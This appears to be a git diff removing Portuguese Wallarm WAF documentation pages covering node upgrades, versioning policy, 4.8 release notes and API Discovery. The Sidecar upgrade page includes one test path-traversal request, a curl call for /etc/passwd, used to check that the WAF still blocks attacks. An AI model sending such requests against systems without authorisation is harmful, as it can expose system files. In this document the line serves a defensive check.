diferentes](older-versions/separate-postanalytics.md). - -## Métodos de atualização - ---8<-- "../include-pt-BR/waf/installation/upgrade-methods.md" - -## Atualização com instalador tudo em um - -Use o procedimento abaixo para atualizar o módulo de pós-análise 4.x instalado em um servidor separado para a versão 4.8 usando [instalador tudo-em-um](../installation/nginx/all-in-one.md). - -### Requisitos para atualização usando o instalador tudo em um - ---8<-- "../include-pt-BR/waf/installation/all-in-one-upgrade-requirements.md" - -### Passo 1: Prepare a máquina limpa - ---8<-- "../include-pt-BR/waf/installation/all-in-one-clean-machine.md" - -### Passo 2: Prepare o token Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-token.md" - -### Passo 3: Baixe o instalador Wallarm tudo em um - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -### Passo 4: Execute o instalador Wallarm tudo em um para instalar a pós-análise - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics.md" - -### Passo 5: Atualize o módulo NGINX-Wallarm em um servidor separado - -Assim que o módulo de pós-análise estiver instalado em um servidor separado, [atualize o módulo NGINX-Wallarm correspondente](nginx-modules.md) funcionando em um servidor diferente. - -!!! info "Combinando métodos de atualização" - Ambos os métodos, manual e automático, podem ser usados para atualizar o módulo NGINX-Wallarm correspondente. - -### Passo 6: Reconecte o módulo NGINX-Wallarm ao módulo pós-análise - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics-reconnect.md" - -### Passo 7: Verifique a interação dos módulos NGINX‑Wallarm e pós-análise separados - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics-check.md" - -### Passo 8: Remover o antigo módulo de pós-análise - ---8<-- "../include-pt-BR/waf/installation/all-in-one-postanalytics-remove-old.md" - -## Atualização manual - -Use o procedimento abaixo para atualizar manualmente o módulo de pós-análise 4.x instalado em um servidor separado para a versão 4.8. - -### Requisitos - ---8<-- "../include-pt-BR/waf/installation/basic-reqs-for-upgrades.md" - -### Passo 1: Adicionar novo repositório Wallarm - -Delete o endereço do repositório Wallarm anterior e adicione um repositório com os novos pacotes de versão do nó Wallarm. Por favor, use os comandos para a plataforma apropriada. - -**CentOS e Amazon Linux 2.0.2021x e inferior** - -=== "CentOS 7 e Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -**Debian e Ubuntu** - -1. Abra o arquivo com o endereço do repositório Wallarm no editor de texto instalado. Nesta instrução, **vim** é usado. - - ```bash - sudo vim /etc/apt/sources.list.d/wallarm.list - ``` -2. Comente ou delete o endereço do repositório anterior. -3. Adicione um novo endereço de repositório: - - === "Debian 10.x (buster)" - !!! warning "Não suportado pelo NGINX estável e NGINX Plus" - As versões oficiais da NGINX (estável e Plus) e, como resultado, o nó Wallarm 4.4 e superior, não podem ser instaladas no Debian 10.x (buster). Por favor, use este sistema operacional apenas se [NGINX estiver instalado a partir dos repositórios Debian/CentOS](../installation/nginx/dynamic-module-from-distr.md). - - ```bash - deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/ - ``` - === "Debian 11.x (bullseye)" - ```bash - deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/ - ``` - === "Ubuntu 18.04 LTS (bionic)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/ - ``` - === "Ubuntu 20.04 LTS (focal)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ - ``` - -### Passo 2: Atualize os pacotes do Tarantool - -=== "Debian" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" -=== "Ubuntu" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include-pt-BR/waf/upgrade/details-about-dist-upgrade.md" -=== "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum update - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum update - ``` -=== "RHEL 8.x" - ```bash - sudo yum update - ``` - -### Passo 3: Atualize o tipo de nó - -!!! info "Apenas para nós instalados usando o script `addnode`" - Siga este passo apenas se um nó de uma versão anterior estiver conectado ao Wallarm Cloud usando o script `addnode`. Este script foi [removido](what-is-new.md#removal-of-the-email-password-based-node-registration) e substituído pelo `register-node`, que requer um token para registrar o nó na Cloud. - -1. Certifique-se de que sua conta Wallarm tem a função **Administrador** navegando até a lista de usuários na [Nuvem US](https://us1.my.wallarm.com/settings/users) ou [Nuvem UE](https://my.wallarm.com/settings/users). - - ![Lista de usuários na console Wallarm][img-wl-console-users] -1. Abra a Console Wallarm → **Nós** na [Nuvem US](https://us1.my.wallarm.com/nodes) ou [Nuvem UE](https://my.wallarm.com/nodes) e crie o nó do tipo **Wallarm node**. - - ![Criação de nó Wallarm][img-create-wallarm-node] -1. Copie o token gerado. -1. Execute o script `register-node` para executar o nó: - - === "Nuvem US" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com --force --no-sync --no-sync-acl - ``` - === "Nuvem UE" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --force --no-sync --no-sync-acl - ``` - - * `` é o valor copiado do token do nó ou token API com a função `Deploy`. - * A opção `--force` impõe a substituição das credenciais de acesso à Nuvem Wallarm especificadas no arquivo `/etc/wallarm/node.yaml`. - -

            Usar um token para várias instalações

            Você tem duas opções para usar um token para várias instalações:

            • **Para todas as versões de nós**, você pode usar um [**token de nó**](../quickstart/getting-started.md#deploy-the-wallarm-filtering-node) em várias instalações, independentemente da [plataforma](../installation/supported-deployment-options.md) selecionada. Ele permite o agrupamento lógico de instâncias de nós na interface da Wallarm Console. Exemplo: você implanta vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina pertencente a um determinado desenvolvedor.

            • **A partir de nó 4.6**, para agrupar os nós, você pode usar um [**token API**](../user-guides/settings/api-tokens.md) com a função `Deploy` junto com a bandeira `--labels 'group='`, por exemplo:

              - ``` - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` -

            - -### Passo 4: Reinicie o módulo de pós-análise - -=== "Debian" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Ubuntu" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "CentOS 7.x ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -[Atualize os Módulos Wallarm NGINX][docs-module-update] \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/sidecar-proxy.md b/docs/latest-pt-BR/updating-migrating/sidecar-proxy.md deleted file mode 100644 index 88bf2dbd66..0000000000 --- a/docs/latest-pt-BR/updating-migrating/sidecar-proxy.md +++ /dev/null @@ -1,85 +0,0 @@ -[ip-lists-docs]: ../user-guides/ip-lists/overview.md - -# Atualizando o Wallarm Sidecar - -Estas instruções descrevem os passos para atualizar o Wallarm Sidecar 4.x para a nova versão com o nó Wallarm 4.8. - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/sidecar-proxy-reqs.md" - -## Passo 1: Atualize o repositório do gráfico Helm do Wallarm - -```bash -helm repo update wallarm -``` - -## Passo 2: Verifique todas as próximas alterações do manifesto K8s - -Para evitar um comportamento inesperadamente alterado do Sidecar, verifique todas as próximas alterações do manifesto K8s usando o [Plugin Helm Diff](https://github.com/databus23/helm-diff). Este plugin exibe a diferença entre os manifestos K8s da versão Sidecar implantada e da nova. - -Para instalar e rodar o plugin: - -1. Instale o plugin: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. Execute o plugin: - - ```bash - helm diff upgrade -n wallarm/wallarm-sidecar --version 4.8.1 -f - ``` - - * ``: o nome do release Helm com o gráfico do Sidecar - * ``: o namespace para o qual o Sidecar está implantado - * ``: o caminho para o arquivo `values.yaml` que define as configurações do Sidecar 4.8 - você pode usar o criado para rodar a versão anterior do Sidecar -3. Certifique-se de que nenhuma alteração pode afetar a estabilidade dos serviços em execução e examine cuidadosamente os erros do stdout. - - Se o stdout estiver vazio, verifique se o arquivo `values.yaml` é válido. - -## Passo 3: Atualize a solução Sidecar - -Atualize os componentes implantados da solução Sidecar: - -``` bash -helm upgrade -n wallarm/wallarm-sidecar --version 4.8.1 -f -``` - -* ``: o nome do release Helm com o gráfico do Sidecar implantado -* ``: o namespace para o qual o Sidecar está implantado -* ``: o caminho para o arquivo `values.yaml` que define as configurações do Sidecar 4.8 - você pode usar o criado para rodar a versão anterior do Sidecar - -## Passo 4: Teste a solução Sidecar atualizada - -1. Verifique se a versão do gráfico Helm foi atualizada: - - ```bash - helm list -n wallarm-sidecar - ``` - - Onde `wallarm-sidecar` é o namespace para o qual o Sidecar está implantado. Você pode alterar este valor se o namespace for diferente. - - A versão do gráfico deve corresponder a `wallarm-sidecar-1.1.5`. -1. Obtenha os detalhes do pod Wallarm para verificar se eles foram iniciados com sucesso: - - ```bash - kubectl get pods -n wallarm-sidecar -l app.kubernetes.io/name=wallarm-sidecar - ``` - - Cada pod deve exibir o seguinte: **READY: N/N** e **STATUS: Running**, por exemplo: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-sidecar-controller-54cf88b989-gp2vg 1/1 Running 0 91m - wallarm-sidecar-postanalytics-86d9d4b6cd-hpd5k 4/4 Running 0 91m - ``` -1. Envie o ataque de teste [Path Traversal](../attacks-vulns-list.md#path-traversal) para o endereço do cluster de aplicativos: - - ```bash - curl http:///etc/passwd - ``` - - O Pod do aplicativo solicitado deve ter o rótulo `wallarm-sidecar: enabled`. - - Verifique se a solução da versão mais recente processa a solicitação maliciosa como fez na versão anterior. \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/versioning-policy.md b/docs/latest-pt-BR/updating-migrating/versioning-policy.md deleted file mode 100644 index 0bf331960d..0000000000 --- a/docs/latest-pt-BR/updating-migrating/versioning-policy.md +++ /dev/null @@ -1,84 +0,0 @@ -# Política de versionamento do nó de filtragem - -Esta política descreve o método de versionamento de diferentes artefatos do nó de filtragem Wallarm: pacotes Linux, containers Docker, gráficos Helm, etc. Você pode usar este documento para selecionar a versão do nó de filtragem para instalação e programar atualizações dos pacotes instalados. - -!!! info "Artefato" - O artefato é o resultado do desenvolvimento dos nós Wallarm que é usado para instalar o nó de filtragem na plataforma. Por exemplo: pacotes Linux, módulos API Kong, containers Docker, etc. - -## Lista de Versões - -| Versão do Nó | Data de Lançamento | Suporte até | -|------------------|----------------|---------------| -|2.18 e inferiores 2.x| | novembro 2021 | -| 3.6 e inferiores 3.x| outubro 2021 | novembro 2022 | -| 4.0 | junho 2022 | fevereiro 2023 | -| 4.2 | agosto 2022 | junho 2023 | -| 4.4 | novembro 2022 | | -| 4.6 | abril 2023 | | -| 4.8 | outubro 2023 | | - -## Formato da versão - -As versões do artefato do nó de filtragem Wallarm têm o seguinte formato: - -```bash -..[-] -``` - -| Parâmetro | Descrição | Taxa média de lançamento | -|--------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------| -| `` | Versão principal do nó Wallarm:
            • Reformulação importante do componente
            • Mudanças incompatíveis
            O valor inicial é `2`. O valor aumenta de 1, por exemplo: `3.6.0`, `4.0.0`. | Nenhum lançamento esperado | -| `` | Versão secundária do nó Wallarm:
            • Novos recursos do produto
            • Correções importantes de bugs
            • Outras mudanças compatíveis
            O valor aumenta de 2, por exemplo: `4.0`, `4.2`. | Uma vez por trimestre | -| `` | Versão de correção do nó:
            • Correções menores de bugs
            • Novos recursos adicionados após um pedido especial
            O valor inicial é `0`. O valor aumenta de 1, por exemplo: `4.2.0`, `4.2.1`. | Uma vez por mês | -| `` (opcional) | Versão de construção do nó. O valor é atribuído automaticamente pela plataforma de construção de pacotes empregada. O valor não será atribuído a artefatos construídos usando um processo manual.
            O valor aumenta de 1, por exemplo: `4.2.0-1`, `4.2.0-2`. Se a primeira construção falhar, a construção é executada novamente e o valor é incrementado. | Conforme novas `` são lançadas | - -Recomendamos o uso de diferentes formatos de versão do nó Wallarm ao baixar os pacotes ou imagens. O formato depende da [forma de instalação do nó Wallarm](../installation/supported-deployment-options.md): - -* `.` para pacotes Linux -* `..` para gráficos Helm -* `..[-]` para imagens Docker e na nuvem - - Ao puxar imagens Docker Wallarm, você também pode especificar a versão do nó de filtragem no formato `.`. Uma vez que a versão puxada do nó de filtragem contém as mudanças da última versão de correção disponível, o comportamento da mesma imagem da versão `.` puxada em diferentes períodos de tempo pode diferir. - -As versões dos pacotes de nós Wallarm podem diferir dentro do mesmo artefato. Por exemplo, se apenas um pacote precisa ser atualizado, os demais pacotes mantêm a versão anterior. - -## Suporte de versão - -Wallarm suporta apenas as 3 últimas versões do nó de filtragem da seguinte maneira: - -* Para a versão mais recente (por exemplo, 4.2): permite o download do pacote, lança correções de bugs e atualiza componentes de terceiros, se detectar vulnerabilidades na versão usada. Pode lançar novos recursos após um pedido especial. -* Para a versão anterior (por exemplo, 4,0): permite download de pacote e libera correções de bugs. -* Para a terceira versão disponível (por exemplo, 3.6): permite o download do pacote e libera correções de bugs por 3 meses após a data de lançamento da versão mais recente. Em 3 meses, a versão será depreciada. - -Os artefatos de nós de versões depreciadas estão disponíveis para download e instalação, mas correções de bugs e novos recursos não são lançados em versões depreciadas. - -Ao instalar um nó de filtragem pela primeira vez, é recomendável usar a versão mais recente disponível. Ao instalar um nó de filtragem adicional no ambiente com nós já instalados, é recomendável usar a mesma versão em todas as instalações para total compatibilidade. - -## Atualização NGINX - -A maioria dos módulos Wallarm são distribuídos com componentes NGINX de suas próprias versões. Para manter os módulos Wallarm trabalhando com as versões mais recentes dos componentes NGINX, atualizamos-os da seguinte maneira: - -* Os pacotes DEB e RPM do Wallarm são baseados nos módulos oficiais do NGINX e NGINX Plus. Uma vez que a nova versão do NGINX / NGINX Plus é lançada, Wallarm se compromete em fornecer uma atualização de sua versão em 1 dia. Wallarm publica essa atualização como a nova versão secundária/versão de correção das versões de nó suportadas. -* O Controlador de Ingress Wallarm é baseado no [Controlador de Ingress NGINX da Comunidade](https://github.com/kubernetes/ingress-nginx). Quando uma nova versão do Controlador de Ingress NGINX da Comunidade é lançada, o Wallarm se compromete a fornecer uma atualização de sua versão nos próximos 30 dias. Wallarm publica esta atualização como a nova versão secundária do último controlador de Ingress. - -## Atualização de versão - -Presume-se que você esteja usando a versão mais recente disponível do nó de filtragem ao instalar, atualizar ou configurar o produto. As instruções do nó Wallarm descrevem comandos que instalam automaticamente a correção mais recente e a compilação disponível. - -### Notificação de nova versão - -Wallarm publica informações sobre as novas versões principais e secundárias das seguintes fontes: - -* Documentação pública -* [Portal de notícias](https://changelog.wallarm.com/) -* Console Wallarm - - ![Notificação sobre uma nova versão no Console Wallarm](../images/updating-migrating/wallarm-console-new-version-notification.png) - -Informações sobre atualizações disponíveis para as versões principais e secundárias do nó Wallarm e para as versões de correção do nó Wallarm também são exibidas no Console Wallarm → **Nós** para nós regulares. Cada pacote tem o status **Atualizado** ou a lista de atualizações disponíveis. Por exemplo, o cartão do nó de filtragem com as últimas versões dos componentes instalados tem a seguinte aparência: - -![Cartão de nó](../images/user-guides/nodes/view-regular-node-comp-vers.png) - -### Procedimento de atualização - -Junto com o lançamento das novas versões principais e secundárias do nó de filtragem, também são publicadas instruções de instalação. Para acessar as instruções sobre como atualizar artefatos instalados, use as instruções adequadas da seção **Atualização e Migração**. diff --git a/docs/latest-pt-BR/updating-migrating/what-is-new.md b/docs/latest-pt-BR/updating-migrating/what-is-new.md deleted file mode 100644 index dfd89bb71b..0000000000 --- a/docs/latest-pt-BR/updating-migrating/what-is-new.md +++ /dev/null @@ -1,80 +0,0 @@ -# O que há de novo no Wallarm node 4.8 - -A nova versão do Wallarm node foi lançada! Ela apresenta o registro de solicitações bloqueadas de fontes na lista negra na seção **Eventos**. Saiba todas as alterações lançadas neste documento. - -## Coleta de estatísticas sobre solicitações bloqueadas de fontes da lista negra - -A partir da versão 4.8, os nós de filtragem baseados em NGINX do Wallarm agora coletam estatísticas sobre as solicitações que foram bloqueadas quando a sua origem é encontrada na lista negra, aprimorando sua capacidade de avaliar a força do ataque. Isso inclui acesso às estatísticas de solicitações bloqueadas e aos seus exemplos, ajudando a minimizar a atividade despercebida. Você pode encontrar esses dados na seção **Eventos** da interface de usuário do Wallarm Console. - -Ao usar o bloqueio automático de IP (por exemplo, com o gatilho de força bruta configurado), agora você pode analisar tanto as solicitações de gatilho inicial quanto os exemplos de solicitações bloqueadas subsequentes. Para solicitações bloqueadas devido à inclusão manual de suas fontes na lista negra, a nova funcionalidade aumenta a visibilidade das ações das fontes bloqueadas. - -Nós introduzimos novas [tags de pesquisa e filtros](../user-guides/search-and-filters/use-search.md#search-by-attack-type) dentro da seção **Eventos** para acessar sem esforço os dados recém-introduzidos: - -* Use a pesquisa `blocked_source` para identificar as solicitações que foram bloqueadas devido à inclusão manual de endereços IP, sub-redes, países, VPNs e mais na lista negra. -* Use a pesquisa `multiple_payloads` para identificar solicitações bloqueadas pelo gatilho **Número de payloads maliciosos**. Este gatilho é projetado para incluir na lista negra as fontes que originam solicitações maliciosas contendo vários payloads, uma característica comum dos perpetradores de ataques múltiplos. -* Além disso, as tags de pesquisa `api_abuse`, `brute`, `dirbust`e `bola` agora englobam solicitações cujas fontes foram adicionadas automaticamente à lista negra pelos gatilhos Wallarm relevantes para seus respectivos tipos de ataque. - -Esta alteração introduz os novos parâmetros de configuração que por padrão são definidos como `on` para habilitar a funcionalidade, mas podem ser alterados para `off` para desabilitá-la: - -* A diretiva NGINX [`wallarm_acl_export_enable`](../admin-en/configure-parameters-en.md#wallarm_acl_export_enable). -* O valor [`controller.config.wallarm-acl-export-enable`](../admin-en/configure-kubernetes-en.md#global-controller-settings) para o gráfico do controlador de ingresso NGINX. -* O valor do gráfico [`config.wallarm.aclExportEnable`](../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#configwallarmaclexportenable) e a anotação do pod [`sidecar.wallarm.io/wallarm-acl-export-enable`](../installation/kubernetes/sidecar-proxy/pod-annotations.md) para a solução Sidecar Controller. - -## Wallarm NGINX Ingress Controller para ARM64 - -Agora suportamos processadores ARM64 com o Wallarm NGINX Ingress Controller. À medida que o ARM64 ganha espaço em soluções de servidor, estamos nos mantendo atualizados para satisfazer as necessidades de nossos clientes. Isso permite uma segurança aprimorada para ambientes de API, cobrindo ambas as arquiteturas x86 e ARM64, fornecendo flexibilidade e proteção. - - - -## Excluindo URLs e solicitações específicas das verificações de bot - -O módulo de prevenção de abuso de API agora é mais flexível. Você pode escolher URLs e solicitações específicas que não devem ser verificadas para ações de bots maliciosos usando a regra [**Definir modo de prevenção de abuso de API**](../api-abuse-prevention/exceptions.md). Isso é útil para evitar falsos positivos e para momentos em que você está testando suas aplicações e precisa desativar as verificações de bot em algumas partes. Por exemplo, se você estiver usando o Klaviyo para marketing, poderá configurar a regra para que ela não verifique as solicitações GET `Klaviyo/1.0`, permitindo que ela funcione sem problemas sem bloqueios desnecessários. - -## Verificação da imagem Docker baseada em NGINX com assinatura oficial - -A partir da versão 4.8, a Wallarm agora está assinando sua [imagem Docker oficial baseada em NGINX](https://hub.docker.com/r/wallarm/node) com sua chave pública oficial. - -Isso significa que agora você pode facilmente [verificar](../integrations-devsecops/verify-docker-image-signature.md) a autenticidade da imagem, aumentando a segurança, protegendo contra imagens comprometidas e ataques à cadeia de suprimentos. - -## Estrutura atualizada para a métrica `wallarm_custom_ruleset_id` do Prometheus - -A métrica `wallarm_custom_ruleset_id` do Prometheus foi aprimorada com a adição de um atributo `format`. Este novo atributo representa o formato do conjunto de regras personalizadas. Enquanto isso, o valor principal continua a ser a versão de compilação do conjunto de regras personalizadas. Aqui está um exemplo do valor atualizado `wallarm_custom_ruleset_id`: - -``` -wallarm_custom_ruleset_id{format="51"} 386 -``` - -[Mais detalhes sobre a configuração das métricas do Wallarm node](../admin-en/configure-statistics-service.md) - -## Suporte para tokens de API pelo Sidecar Controller - -Agora, durante a [implantação do controlador Sidecar](../installation/kubernetes/sidecar-proxy/deployment.md), você pode usar [tokens de API](../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation) para criar nós de filtragem e conectá-los à nuvem durante a implantação da solução. Com tokens de API, você pode controlar o tempo de vida de seus tokens e aprimorar a organização do nó na interface do usuário, definindo um nome de grupo de nós. - -Os nomes dos grupos de nós são definidos usando o parâmetro `config.wallarm.api.nodeGroup` em **values.yaml**, com `defaultSidecarGroup` como o nome padrão. Opcionalmente, você pode controlar os nomes dos grupos de nós com base nos pods dos aplicativos usando a anotação `sidecar.wallarm.io/wallarm-node-group`. - -## Ao atualizar o nó 3.6 e inferior - -Se estiver atualizando a partir da versão 3.6 ou inferior, aprenda todas as mudanças na [lista separada](older-versions/what-is-new.md). - -## Quais nós Wallarm são recomendados para serem atualizados? - -* Nós Wallarm cliente e multi-inquilino das versões 4.4 e 4.6 para se manter atualizado com as versões do Wallarm e evitar [depreciação do módulo instalado](versioning-policy.md#version-support). -* Nós Wallarm cliente e multi-inquilino das versões [não suportadas](versioning-policy.md#version-list) (4.2 e inferiores). As mudanças disponíveis no Wallarm node 4.8 simplificam a configuração do nó e melhoram a filtragem de tráfego. Por favor, note que algumas configurações do nó 4.8 são **incompatíveis** com os nós de versões anteriores. - -## Processo de atualização - -1. Revisar [recomendações para a atualização do módulo](general-recommendations.md). -2. Atualize os módulos instalados seguindo as instruções para a sua opção de implantação de nó Wallarm: - - * [Instalador all-in-one](all-in-one.md) - * [Pacotes individuais para NGINX, NGINX Plus, NGINX Distributive](nginx-modules.md) - * [Container Docker com os módulos para NGINX ou Envoy](docker-container.md) - * [NGINX Ingress controller com módulos Wallarm integrados](ingress-controller.md) - * [Sidecar](sidecar-proxy.md) - * [Imagem de nó em nuvem](cloud-image.md) - * [Nó CDN](cdn-node.md) - * [Nó multi-inquilino](multi-tenant.md) - ----------- - -[Outras atualizações nos produtos e componentes do Wallarm →](https://changelog.wallarm.com/) diff --git a/docs/latest-pt-BR/user-guides/api-discovery.md b/docs/latest-pt-BR/user-guides/api-discovery.md deleted file mode 100644 index f67c5ed886..0000000000 --- a/docs/latest-pt-BR/user-guides/api-discovery.md +++ /dev/null @@ -1,234 +0,0 @@ -# Descoberta de API - -A seção **Descoberta de API** do console Wallarm permite gerenciar seu [inventário de API](../api-discovery/overview.md), além de ajustar detalhadamente sua descoberta. Este guia instrui como usar esta seção. - -A seção só está disponível para usuários com os seguintes [papéis](../user-guides/settings/users.md#user-roles): - -* **Administrador** e **Analista** podem visualizar e gerenciar os dados descobertos pelo módulo de descoberta de API e acessar a parte de configuração da descoberta de API. - - **Administrador Global** e **Analista Global** nas contas com o recurso de multilocação têm os mesmos direitos. -* **Desenvolvedor de API** pode visualizar e baixar os dados descobertos pelo módulo de descoberta de API. Este papel permite distinguir usuários cujas tarefas só requerem usar o Wallarm para obter dados reais sobre as APIs da empresa. Esses usuários não têm acesso a nenhuma outra seção do console do Wallarm, exceto **Descoberta de API** e **Configurações → Perfil**. - -![Endpoints descobertos por API Discovery](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -!!! info "Visualização padrão: período de tempo, classificação e agrupamento" - - **Período de tempo** - - Cada vez que você abre a seção **Descoberta de API**: - - * Você vê o inventário real de suas APIs (todos os endpoints descobertos) - * O filtro **Alterações desde** vai para o estado `Última semana`, o que significa: - - * Dos endpoints apresentados, os `Novo` e `Alterado` dentro desse período obterão [marcas](#tracking-changes-in-api) correspondentes. - * Além disso, endpoints `Excluídos` dentro desse período serão exibidos - - Veja [este exemplo](#example) para entender o que a Descoberta de API exibe por padrão. - - Você pode selecionar manualmente outros períodos de tempo para serem considerados. - - **Classificação e agrupamento** - - Por padrão, os endpoints são classificados por nomes de host/endpoint (e agrupados por hosts). Se você classificar por **Hits** ou **Risco**, o agrupamento desaparece – para voltar ao padrão, clique na coluna de hosts/endpoint novamente. - -## Filtrando endpoints - -Entre uma ampla gama de filtros de endpoint de API, você pode escolher aqueles que correspondem ao propósito de sua análise, por exemplo: - -* Apenas endpoints atacados que você pode classificar pelo número de hits. -* Encontre os endpoints que foram alterados ou recém-descobertos na última semana e que processam dados PII. Este tipo de solicitação pode ajudá-lo a ficar atualizado com mudanças críticas em suas APIs. -* Encontre os endpoints sendo usados para carregar dados em seu servidor pelas chamadas PUT ou POST. Como tais endpoints são alvos frequentes de ataques, eles devem ser bem protegidos. Usando este tipo de solicitação, você pode verificar se os endpoints são conhecidos pela equipe e estão bem protegidos contra ataques. -* Encontre os endpoints que processam os dados de cartões bancários dos clientes. Com esta solicitação, você pode verificar se os dados confidenciais são processados apenas por endpoints seguros. -* Encontre os endpoints de uma versão de API descontinuada (por exemplo, pesquisando `/v1`) e certifique-se de que eles não são usados pelos clientes. -* Encontre os endpoints mais vulneráveis caracterizados por processar dados sensíveis e vulnerabilidades ativas de alto nível de risco. A exploração de vulnerabilidades de alto risco permite aos atacantes realizar muitas ações maliciosas com o sistema, incluindo o roubo de dados sensíveis que o endpoint processa/armazena. - -Todos os dados filtrados podem ser exportados no OpenAPI v3 para análise adicional. - -## Visualizando parâmetros do endpoint - -Ao clicar no endpoint, você também pode encontrar os detalhes do endpoint, incluindo estatísticas de solicitação, parâmetros obrigatórios e opcionais com os tipos de dados relevantes: - -![Parâmetros de solicitação descobertos pela Descoberta de API](../images/about-wallarm-waf/api-discovery/discovered-request-params.png) - -Cada informação do parâmetro inclui: - -* Nome do parâmetro e a parte da solicitação à qual este parâmetro pertence -* Informações sobre mudanças no parâmetro (novo, não usado) -* Presença e tipo de dados sensíveis (PII) transmitidos por este parâmetro, incluindo: - - * Dados técnicos como endereços IP e MAC - * Credenciais de login como chaves secretas e senhas - * Dados financeiros como números de cartão bancário - * Dados médicos como número de licença médica - * Informações pessoalmente identificáveis (PII) como nome completo, número de passaporte ou SSN - -* [Tipo/formato](../api-discovery/overview.md#parameter-types-and-formats) de dados enviados neste parâmetro -* Data e hora da última atualização das informações do parâmetro - -## Rastreando mudanças na API - -Você pode verificar quais [mudanças ocorreram](../api-discovery/overview.md#tracking-changes-in-api) na API dentro do período de tempo especificado. Para fazer isso, a partir do filtro **Alterações desde**, selecione o período ou a data apropriada. As seguintes marcas serão exibidas na lista de endpoints: - -* **Novo** para os endpoints adicionados à lista dentro do período. -* **Alterado** para os endpoints que têm parâmetros recém-descobertos ou parâmetros que obtiveram o status `Não usado` dentro do período. Nos detalhes do endpoint, tais parâmetros terão uma marca correspondente. - - * Um parâmetro recebe o status `Novo` se for descoberto dentro do período. - * Um parâmetro recebe o status `Não usado` se não transmitir nenhum dado por 7 dias. - * Se posteriormente o parâmetro no status `Não usado` transmitir dados novamente, ele perderá o status `Não usado`. - -* **Não usado** para os endpoints que obtiveram o status `Não usado` dentro do período. - - * Um endpoint recebe o status `Não usado` se não for solicitado (com o código 200 na resposta) por 7 dias. - * Se posteriormente o endpoint no status `Não usado` for solicitado (com o código 200 na resposta) novamente, ele perderá o status `Não usado`. - -Observe que, independentemente do período selecionado, se nada estiver destacado com a marca **Novo**, **Alterado** ou **Não usado**, isso significa que não há mudanças na API para esse período. - -![API Discovery - rastrear mudanças](../images/about-wallarm-waf/api-discovery/api-discovery-track-changes.png) - -!!! info "Período padrão" - Cada vez que você abre a seção **API Discovery**, o filtro **Alterações desde** vai para o estado `Última semana`, o que significa que apenas as mudanças ocorridas na última semana são destacadas. - -Usar o filtro **Alterações desde** apenas destaca os endpoints alterados dentro do período selecionado, mas não filtra os endpoints sem mudanças. - -O filtro **Mudanças na API** funciona de maneira diferente e mostra **apenas** os endpoints alterados dentro do período selecionado e filtra todos os demais. - -Vamos considerar o exemplo: digamos que sua API hoje tem 10 endpoints (eram 12, mas 3 deles foram marcados como não usados há 10 dias). 1 desses 10 foi adicionado ontem, 2 têm mudanças em seus parâmetros ocorridas há 5 dias para um e 10 dias para outro: - -* Cada vez que você abrir a seção **API Discovery** hoje, o filtro **Alterações desde** vai para o estado `Última semana`; a página exibirá 10 endpoints, na coluna **Mudanças** 1 deles terá a marca **Novo**, e 1 terá a marca **Alterado**. -* Troque **Alterações desde** para `Últimas 2 semanas` - 13 endpoints serão exibidos, na coluna **Mudanças** 1 deles terá a marca **Novo**, 2 terão a marca **Alterado**, e 3 terão a marca **Não usado**. -* Defina **Mudanças na API** para `Endpoints não utilizados` - 3 endpoints serão exibidos, todos com a marca **Não usado**. -* Altere **Mudanças na API** para `Novos endpoints + Endpoints não utilizados` - 4 endpoints serão exibidos, 3 com a marca **Não usado**, e 1 com a marca **Novo**. -* Troque **Alterações desde** de volta para `Última semana` - 1 endpoint será exibido, ele terá a marca **Novo**. - -## Trabalhando com pontuação de risco - -A [pontuação de 